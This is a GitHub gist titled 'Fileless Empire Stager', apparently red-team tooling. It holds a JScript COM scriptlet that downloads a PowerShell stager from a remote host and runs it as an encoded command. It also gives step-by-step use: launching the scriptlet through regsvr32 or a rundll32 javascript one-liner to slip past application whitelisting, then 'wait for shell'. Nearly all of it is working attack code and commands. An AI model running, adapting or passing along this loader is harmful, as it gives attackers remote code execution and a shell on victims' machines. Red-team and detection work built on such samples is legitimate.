-
-
Save TheWover/cb3fff8b167e7a7e742bba305496f14e to your computer and use it in GitHub Desktop.
Fileless Empire Stager
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
description="Component" | |
progid="Empire" | |
version="1.01" | |
classid="{10001111-0000-0000-0000-0000FEEDACDC}" | |
> | |
</registration> | |
<public> | |
<method name="Exec"></method> | |
</public> | |
<script language="JScript"> | |
<![CDATA[ | |
function Exec() | |
{ | |
//Created By Casey Smith @subTee | |
w = new ActiveXObject("WScript.Shell"); | |
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
h.Open("GET","http://192.168.56.103/stager.ps1",false); | |
h.Send(); | |
c = h.ResponseText; | |
ps = 'powershell.exe -EncodedCommand '; | |
r = new ActiveXObject("WScript.Shell").Exec(ps + c); | |
} | |
]]> | |
</script> | |
</scriptlet> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Create Empire Listener | |
2. Generate Stager | |
3. Host Stager Code At Some URL | |
4. Host .sct File At Some URL | |
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll | |
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() ) | |
-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec(); | |
7. Wait for Shell... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment